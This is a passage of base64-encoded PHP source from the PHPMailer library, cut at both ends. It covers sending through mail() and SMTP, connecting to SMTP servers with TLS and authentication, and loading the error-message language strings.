xKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgICAgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAgJ2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2U